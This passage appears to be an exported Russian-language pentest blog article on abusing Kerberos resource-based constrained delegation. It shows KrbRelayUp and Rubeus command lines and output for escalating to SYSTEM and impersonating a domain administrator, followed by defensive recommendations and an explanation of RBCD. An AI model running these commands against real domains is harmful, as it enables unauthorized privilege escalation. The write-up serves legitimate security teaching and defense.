imported! [+] LUID            : 0x2d9fa98<\/code><\/pre>\n<p>\u041c\u043e\u0439 PR <a href=\"https:\/\/github.com\/GhostPack\/Rubeus\/pull\/137\">\u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u043d\u0430 \u0413\u0438\u0442\u0445\u0430\u0431\u0435<\/a>, \u043e\u0434\u043d\u0430\u043a\u043e \u043d\u0435 \u0434\u0443\u043c\u0430\u044e, \u0447\u0442\u043e \u043c\u044b \u0443\u0432\u0438\u0434\u0438\u043c \u0435\u0433\u043e \u0432 \u00ab\u043c\u0430\u0441\u0442\u0435\u0440\u0435\u00bb, \u0442\u0430\u043a \u043a\u0430\u043a <a href=\"https:\/\/twitter.com\/exploitph\">@exploitph<\/a> \u043e\u0442\u0447\u0435\u0442\u043b\u0438\u0432\u043e <a href=\"https:\/\/github.com\/GhostPack\/Rubeus\/pull\/137#issuecomment-1185461999\">\u0434\u0430\u043b \u043f\u043e\u043d\u044f\u0442\u044c<\/a>, \u0447\u0442\u043e \u044d\u0442\u043e\u0442 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b \u0441\u043b\u0438\u0448\u043a\u043e\u043c \u0438\u043d\u0432\u0430\u0437\u0438\u0432\u043d\u044b\u0439, \u0447\u0442\u043e\u0431\u044b \u0431\u044b\u0442\u044c \u0432 \u0430\u043f\u0441\u0442\u0440\u0438\u043c\u0435 \u0443\u0442\u0438\u043b\u0438\u0442\u044b.<\/p>\n<h4>4.2 KrbRelayUp<\/h4>\n<p>\u041d\u043e \u0438 \u044d\u0442\u043e \u0435\u0449\u0435 \u043d\u0435 \u0432\u0441\u0435! <s>\u0417\u0430\u043a\u0430\u0437\u044b\u0432\u0430\u044f \u0443 \u043d\u0430\u0441 \u043f\u0435\u043d\u0442\u0435\u0441\u0442, \u0432\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u0435<\/s> \u042f \u0442\u0430\u043a\u0436\u0435 \u0440\u0435\u0448\u0438\u043b \u0444\u043e\u0440\u043a\u043d\u0443\u0442\u044c <a href=\"https:\/\/www.microsoft.com\/security\/blog\/2022\/05\/25\/detecting-and-preventing-privilege-escalation-attacks-leveraging-kerberos-relaying-krbrelayup\/\">\u043d\u0430\u0448\u0443\u043c\u0435\u0432\u0448\u0438\u0439<\/a> \u043d\u0435\u0434\u0430\u0432\u043d\u043e KrbRelayUp, \u0447\u0442\u043e\u0431\u044b \u0432\u043e\u043e\u0440\u0443\u0436\u0438\u0442\u044c \u043c\u043e\u0434\u0443\u043b\u044c <code>RELAY<\/code> \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u044d\u0442\u043e\u0433\u043e \u043f\u043e\u0434\u0432\u0438\u0434\u0430 RBCD-\u0430\u0442\u0430\u043a\u0438, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u0435\u043b\u043e \u043a \u043f\u043e\u044f\u0432\u043b\u0435\u043d\u0438\u044e \u0432 \u043d\u0435\u043c \u043e\u043f\u0446\u0438\u0438 <code>-u2u<\/code>.<\/p>\n<pre><code>C:\\KrbRelayUp>KrbRelayUp.exe relay -u2u -cn AngaraUser -cp Passw0rdUs3r! KrbRelayUp - Relaying you to SYSTEM  [+] Rewriting function table [+] Rewriting PEB [+] Init COM server [+] Register COM server [+] Forcing SYSTEM authentication [+] Got Krb Auth from NT\/SYSTEM. Relying to LDAP now... [+] LDAP session established [+] RBCD rights added successfully [+] Run Rubeus s4u method for SYSTEM shell (https:\/\/github.com\/GhostPack\/Rubeus\/pull\/137):     .\/Rubeus.exe s4u \/u2u \/domain:TINYCORP.net \/user:AngaraUser \/impersonateuser:administrator \/msdsspn:host\/MOSCOW [\/altservice:http] [\/nowrap] [\/ptt] [\/createnetonly:C:\\Windows\\System32\\cmd.exe] [\/show] \/rc4:NTHASH(Passw0rdUs3r!)<\/code><\/pre>\n<p>\u0422\u0430\u043c \u0431\u044b\u043b\u043e \u0441\u043e\u0432\u0441\u0435\u043c \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439, \u043d\u043e \u0435\u0441\u043b\u0438 \u043a\u0442\u043e-\u0442\u043e \u0437\u0430\u0445\u043e\u0447\u0435\u0442 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u2014 \u0432\u0430\u043c <a href=\"https:\/\/github.com\/snovvcrash\/KrbRelayUp\">\u0441\u044e\u0434\u0430<\/a>.<\/p>\n<h3>5. \u0412\u043c\u0435\u0441\u0442\u043e \u0437\u0430\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f<\/h3>\n<p>\u0421\u043b\u0435\u0434\u0443\u044f \u0445\u043e\u0440\u043e\u0448\u0435\u0439 \u0442\u0440\u0430\u0434\u0438\u0446\u0438\u0438 \u0443\u0441\u043b\u043e\u0436\u043d\u0435\u043d\u0438\u044f \u0441\u0435\u0431\u0435, \u043a\u0430\u043a \u043f\u0435\u043d\u0442\u0435\u0441\u0442\u0435\u0440\u0430\u043c, \u0436\u0438\u0437\u043d\u0438, \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043c \u043f\u0435\u0440\u0435\u0447\u0435\u043d\u044c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439 \u0434\u043b\u044f \u0441\u043d\u0438\u0436\u0435\u043d\u0438\u044f \u0440\u0438\u0441\u043a\u0430 \u043e\u0442 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0445 \u0430\u0442\u0430\u043a:<\/p>\n<ul>\n<li>\n<p>\u041f\u0435\u0440\u0432\u043e\u0435 \u0438, \u043f\u043e\u0436\u0430\u043b\u0443\u0439, \u0441\u0430\u043c\u043e\u0435 \u0433\u043b\u0430\u0432\u043d\u043e\u0435 \u2014 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u043c \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u044b \u0437\u0430\u0449\u0438\u0442\u044b \u0441\u043b\u0443\u0436\u0431 LDAP (LDAP Signing) \u0438 LDAPS (LDAP Channel Binding). \u041d\u0435\u0442 \u0440\u0435\u043b\u0435\u044f \u043d\u0430 LDAP(S) \u2014 \u043d\u0435\u0442 \u043b\u044c\u0432\u0438\u043d\u043e\u0439 \u0434\u043e\u043b\u0438 \u0437\u043b\u043e\u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430 <code>msDS-AllowedToActOnBehalfOfOtherIdentity<\/code> \u0443 \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u0432 \u043c\u0430\u0448\u0438\u043d \u0432 Active Directory.<\/p>\n<\/li>\n<li>\n<p>\u0412\u0442\u043e\u0440\u043e\u0435 \u0438 \u043f\u043e\u0447\u0442\u0438 \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u0432\u0430\u0436\u043d\u043e\u0435 \u2014 \u0437\u0430\u043f\u0440\u0435\u0449\u0430\u0435\u043c \u043e\u043b\u0438\u0446\u0435\u0442\u0432\u043e\u0440\u0435\u043d\u0438\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u044b\u0445 \u0423\u0417 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432 \u0434\u043e\u043c\u0435\u043d\u0430) \u043f\u0440\u0438 \u0434\u0435\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u043f\u0443\u0442\u0435\u043c \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u0438\u0445 \u0432 \u0433\u0440\u0443\u043f\u043f\u0443 \u00ab\u0417\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438\u00bb \u0438\u043b\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u043e\u0439 \u0444\u043b\u0430\u0433\u0430 <code>AccountNotDelegated<\/code> \u0432 UAC.<\/p>\n<\/li>\n<li>\n<p>\u0422\u0440\u0435\u0442\u044c\u0435 \u2014 \u0435\u0441\u043b\u0438 \u0432 \u0432\u0430\u0448\u0435\u043c \u0434\u043e\u043c\u0435\u043d\u0435 <code>ms-DS-MachineAccountQuota<\/code> \u0432\u0441\u0435 \u0435\u0449\u0435 \u0440\u0430\u0432\u043d\u0430 10, \u043f\u043e\u0440\u0430 \u0437\u0430\u0434\u0443\u043c\u0430\u0442\u044c\u0441\u044f \u043e <s>\u043f\u0435\u043d\u0442\u0435\u0441\u0442\u0435<\/s> \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u0440\u043e\u0447\u043d\u043e \u0441\u0431\u0440\u043e\u0441\u0438\u0442\u044c \u0435\u0433\u043e <strong>\u0434\u043e \u043d\u0443\u043b\u044f<\/strong>.<\/p>\n<\/li>\n<li>\n<p>\u0427\u0435\u0442\u0432\u0435\u0440\u0442\u043e\u0435 \u2014 \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u0442\u044c \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 RBCD Abuse \u0438 Kerberos Relay. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u043c \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0441\u043e\u0431\u044b\u0442\u0438\u044f \u0418\u0411: <a href=\"https:\/\/docs.microsoft.com\/ru-ru\/windows\/security\/threat-protection\/auditing\/event-4741\">4741<\/a>, <a href=\"https:\/\/docs.microsoft.com\/ru-ru\/windows\/security\/threat-protection\/auditing\/event-4673\">4673<\/a>, <a href=\"https:\/\/docs.microsoft.com\/ru-ru\/windows\/security\/threat-protection\/auditing\/event-5156\">5156<\/a>, <a href=\"https:\/\/docs.microsoft.com\/ru-ru\/windows\/security\/threat-protection\/auditing\/event-5136\">5136<\/a>, <a href=\"https:\/\/docs.microsoft.com\/ru-ru\/windows\/security\/threat-protection\/auditing\/event-4768\">4768 <\/a>\u0438 <a href=\"https:\/\/docs.microsoft.com\/ru-ru\/windows\/security\/threat-protection\/auditing\/event-4769\">4769<\/a>.<\/p>\n<\/li>\n<li>\n<p>\u041f\u044f\u0442\u043e\u0435 \u0438 \u0437\u0430\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u2014 \u0443\u0431\u0435\u0434\u0438\u0442\u044c\u0441\u044f \u0432 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 <strong>\u0441\u0438\u043b\u044c\u043d\u043e\u0433\u043e<\/strong> \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043d\u043e\u0433\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043d\u0430 \u0432\u0441\u0435\u0445 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0443\u0437\u043b\u0430\u0445, \u0434\u043e \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043c\u043e\u0433\u0443\u0442 \u0434\u043e\u0442\u044f\u043d\u0443\u0442\u044c\u0441\u044f \u043e\u0431\u044b\u0447\u043d\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 (\u0440\u0430\u0431\u043e\u0447\u0438\u0435 \u0441\u0442\u0430\u043d\u0446\u0438\u0438, \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u044c\u043d\u0438\u043a\u0438).<\/p>\n<\/li>\n<\/ul>\n<p>Cheers!<\/p>\n<\/p>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"v-portal\" style=\"display:none;\"><\/div>\n<\/div>\n<p> <!----> <!----><br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/company\/angarasecurity\/blog\/680138\/\"> https:\/\/habr.com\/ru\/company\/angarasecurity\/blog\/680138\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<div><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<figure class=\"full-width\"><figcaption><\/figcaption><\/figure>\n<h3>1. \u0421\u0444\u0435\u0440\u0438\u0447\u0435\u0441\u043a\u043e\u0435 RBCD \u0432 \u0432\u0430\u043a\u0443\u0443\u043c\u0435<\/h3>\n<p>\u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u043e\u0435 \u0434\u0435\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432 (Resource-Based Constrained Delegation, RBCD) \u043f\u043e\u044f\u0432\u0438\u043b\u043e\u0441\u044c \u0432 \u041e\u0421 Windows Server 2012 \u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0438\u0437 \u0441\u0435\u0431\u044f \u043a\u043e\u043d\u0446\u0435\u043f\u0446\u0438\u044e \u043e\u043b\u0438\u0446\u0435\u0442\u0432\u043e\u0440\u0435\u043d\u0438\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c (\u0442\u043e \u0435\u0441\u0442\u044c \u0441\u0435\u0440\u0432\u0438\u0441\u043d\u043e\u0439 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u044c\u044e) \u0432 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u0438, \u043a\u043e\u0433\u0434\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438 <strong>\u043f\u043e \u043f\u0430\u0440\u043e\u043b\u044e<\/strong>, \u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0443 \u043d\u0443\u0436\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0442\u043e \u0438\u043b\u0438 \u0438\u043d\u043e\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u043e\u0442 \u0435\u0433\u043e \u0438\u043c\u0435\u043d\u0438 \u043f\u043e Kerberos-\u0431\u0438\u043b\u0435\u0442\u0443 \u0432 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043f\u043e \u0441\u043e\u0441\u0435\u0434\u0441\u0442\u0432\u0443.<\/p>\n<p>\u041a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043f\u0440\u0438\u043c\u0435\u0440, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u0434\u043b\u044f \u043e\u0431\u044a\u044f\u0441\u043d\u0435\u043d\u0438\u044f, \u0437\u0430\u0447\u0435\u043c \u0432\u043e\u043e\u0431\u0449\u0435 \u043d\u0443\u0436\u043d\u044b \u0440\u0430\u0437\u043d\u044b\u0435 \u0432\u0438\u0434\u0435 \u0434\u0435\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0432 AD \u2014 \u044d\u0442\u043e \u043f\u0440\u0438\u043c\u0435\u0440 \u0441 \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0438 \u0431\u0430\u0437\u043e\u0439 \u0434\u0430\u043d\u043d\u044b\u0445. \u041d\u0435 \u0431\u0443\u0434\u0435\u043c \u043e\u0442\u0445\u043e\u0434\u0438\u0442\u044c \u043e\u0442 \u044d\u0442\u043e\u0439 \u0442\u0440\u0430\u0434\u0438\u0446\u0438\u0438 \u0438 \u043c\u044b, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u043d\u0430 \u0440\u0438\u0441\u0443\u043d\u043e\u043a \u043d\u0438\u0436\u0435.<\/p>\n<figure class=\"full-width\"><figcaption>\u0421\u0444\u0435\u0440\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u0434\u0435\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0432 \u0432\u0430\u043a\u0443\u0443\u043c\u0435<\/figcaption><\/figure>\n<p>\u0427\u0442\u043e \u0437\u0434\u0435\u0441\u044c \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442:<\/p>\n<ol>\n<li>\n<p>\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c <code>snovvcrash<\/code> \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438 \u043d\u0430 \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u0435 <code>WEB01<\/code>, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044f \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u00ab\u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u0438\u00bb \u0441\u0432\u043e\u0439 \u043f\u0430\u0440\u043e\u043b\u044c. \u0410\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u043f\u043e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0443 NTLM, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e <code>snovvcrash<\/code> \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0434\u043e\u043c\u0435\u043d\u043d\u043e\u0439 \u0441\u0435\u0442\u0438 \u0438 \u043d\u0435 \u043e\u0431\u043b\u0430\u0434\u0430\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u043f\u0435\u0440\u0435\u0434\u0430\u0442\u044c \u0431\u0438\u043b\u0435\u0442 Kerberos.<\/p>\n<\/li>\n<li>\n<p>\u0412\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440 \u0432\u0438\u0434\u0438\u0442, \u0447\u0442\u043e \u0435\u043c\u0443 \u043d\u0435 \u0434\u0430\u043b\u0438 \u0442\u0438\u043a\u0435\u0442\u0430 \u0432 \u0445\u043e\u0434\u0435 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432 \u0438\u0433\u0440\u0443 \u0432\u0441\u0442\u0443\u043f\u0430\u0435\u0442 \u0442\u0440\u0430\u043d\u0437\u0438\u0442\u043d\u043e\u0435 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 Kerberos <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-sfu\/02636893-7a1f-4357-af9a-b672e3e3de13\"><strong>S4U2self<\/strong><\/a><strong> <\/strong>(Service for User to Self), \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u043e\u0435 \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u00ab\u043f\u0440\u043e\u0431\u0440\u0430\u0441\u044b\u0432\u0430\u0435\u043c\u043e\u0433\u043e\u00bb (Forwardable, \u0431\u0438\u043b\u0435\u0442 \u0441 \u043f\u0440\u0430\u0432\u043e\u043c \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438) TGS-\u0431\u0438\u043b\u0435\u0442\u0430 \u043d\u0430 \u0441\u0430\u043c\u043e\u0433\u043e \u0441\u0435\u0431\u044f \u0443 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0430 \u0434\u043e\u043c\u0435\u043d\u0430 \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. \u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442 \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0438\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 TGS-\u0431\u0438\u043b\u0435\u0442 \u043d\u0430 \u0441\u043b\u0443\u0436\u0431\u0443 \u0411\u0414 <code>SQL01<\/code> \u0432 \u0448\u0430\u0433\u0435 3.<\/p>\n<\/li>\n<li>\n<p>\u0410\u043a\u0442\u0438\u0432\u0430\u0446\u0438\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0439 \u0444\u0430\u0437\u044b \u0442\u0440\u0430\u043d\u0437\u0438\u0442\u043d\u043e\u0433\u043e \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f Kerberos \u2013 <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-sfu\/bde93b0e-f3c9-4ddf-9f44-e1453be7af5a\"><strong>S4U2proxy<\/strong><\/a><strong> <\/strong>(Service for User to Proxy). \u0412 \u0445\u043e\u0434\u0435 \u044d\u0442\u043e\u0439 \u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440\u044b \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 TGS-\u0431\u0438\u043b\u0435\u0442 \u0438\u0437 \u0448\u0430\u0433\u0430 2 \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f TGS-\u0431\u0438\u043b\u0435\u0442\u0430 \u043d\u0430 \u0441\u043b\u0443\u0436\u0431\u0443 <code>SQL01<\/code> \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f <code>snovvcrash<\/code>.<\/p>\n<\/li>\n<li>\n<p>\u0412\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0431\u0430\u0437\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 <code>SQL01<\/code>, \u043e\u043b\u0438\u0446\u0435\u0442\u0432\u043e\u0440\u044f\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f <code>snovvcrash<\/code>.<\/p>\n<\/li>\n<\/ol>\n<p>\u0412\u0430\u0436\u043d\u043e \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u0432 \u043a\u043e\u043d\u0446\u0435\u043f\u0446\u0438\u0438 RBCD-\u0434\u0435\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0440\u0430\u0432\u043e \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0441\u043b\u0443\u0436\u0431\u0435 <code>SQL01<\/code> \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c <code>WEB01<\/code> \u0441 \u043e\u043b\u0438\u0446\u0435\u0442\u0432\u043e\u0440\u0435\u043d\u0438\u0435\u043c \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442 \u0441\u0430\u043c\u0430 \u0441\u043b\u0443\u0436\u0431\u0430 <code>SQL01<\/code>. \u0414\u0430\u043d\u043d\u044b\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u043f\u0443\u0442\u0435\u043c \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u0441 \u043d\u0435\u043f\u0440\u043e\u0438\u0437\u043d\u043e\u0441\u0438\u043c\u044b\u043c \u043d\u0430\u0437\u044b\u0432\u0430\u043d\u0438\u0435\u043c <code>msDS-AllowedToActOnBehalfOfOtherIdentity<\/code> \u043e\u0431\u044a\u0435\u043a\u0442\u0430 \u0441\u043b\u0443\u0436\u0431\u044b (\u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430) <code>SQL01<\/code> \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f SID-\u0430 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 <code>WEB01$<\/code>. \u042d\u0442\u043e \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u043e\u0435 \u0434\u0435\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432 \u043e\u0442 \u043a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u0435\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f (Kerberos Constrained Delegation, KCD).<\/p>\n<h3>2. \u0417\u043b\u043e\u0443\u043f\u043e\u0442\u0440\u0435\u0431\u043b\u0435\u043d\u0438\u0435 \u0441\u0444\u0435\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u043c RBCD \u0432 \u0432\u0430\u043a\u0443\u0443\u043c\u0435<\/h3>\n<p>\u2014 \u00ab\u041a\u0440\u0443\u0442\u043e, \u0438 \u0447\u0442\u043e \u0441\u043e \u0432\u0441\u0435\u043c \u044d\u0442\u0438\u043c \u0434\u0435\u043b\u0430\u0442\u044c?\u00bb, \u2014 \u0441\u043f\u0440\u043e\u0441\u0438\u043b \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440.<\/p>\n<p>\u2014 \u00ab\u0417\u043b\u043e\u0443\u043f\u043e\u0442\u0440\u0435\u0431\u043b#\u0442\u044c, \u0440\u0430\u0437\u0443\u043c\u0435\u0435\u0442\u0441\u044f\u00bb, \u2014 \u043e\u0442\u0432\u0435\u0442\u0438\u043b \u043f\u0435\u043d\u0442\u0435\u0441\u0442\u0435\u0440.<\/p>\n<p>\u0412 2019 \u0433\u043e\u0434\u0443 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u042d\u043b\u0430\u0434 \u0428\u0430\u043c\u0438\u0440 (<a href=\"https:\/\/twitter.com\/elad_shamir\">@elad_shamir<\/a>) \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b 